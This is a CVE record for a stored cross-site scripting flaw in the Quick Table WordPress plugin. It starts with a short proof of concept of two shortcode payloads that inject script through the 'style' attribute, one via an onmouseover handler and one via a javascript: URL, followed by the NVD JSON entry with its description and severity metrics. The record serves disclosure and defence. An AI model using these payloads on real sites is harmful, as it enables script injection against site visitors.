CVE-2026-6237

<!-- PoC for CVE-2026-6237 Stored XSS --> <!-- Insert the following shortcode into a WordPress post/page with Contributor+ access --> <!-- Vector: Injecting event handler by escaping the style attribute --> [qtbl style="color:red;" onmouseover="alert('XSS_CVE-2026-6237')"]Injected Content[/qtbl] <!-- Alternative Vector if quotes are handled differently --> [qtbl style="background-image:url('javascript:alert(1)')"]Content[/qtbl]

{"cve": {"id": "CVE-2026-6237", "sourceIdentifier": "[email protected]", "published": "2026-05-12T09:16:55.230", "lastModified": "2026-05-12T14:03:52.757", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Quick Table plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'style' attribute of the 'qtbl' shortcode in all versions up to, and including, 1.0.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/quick-table/tags/1.0.0/qtbl.php#L30", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/quick-table/trunk/qtbl.php#L30", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/566be246-1722-44c0-aa18-bcf9d2a7ddc6?source=cve", "source": "[email protected]"}]}}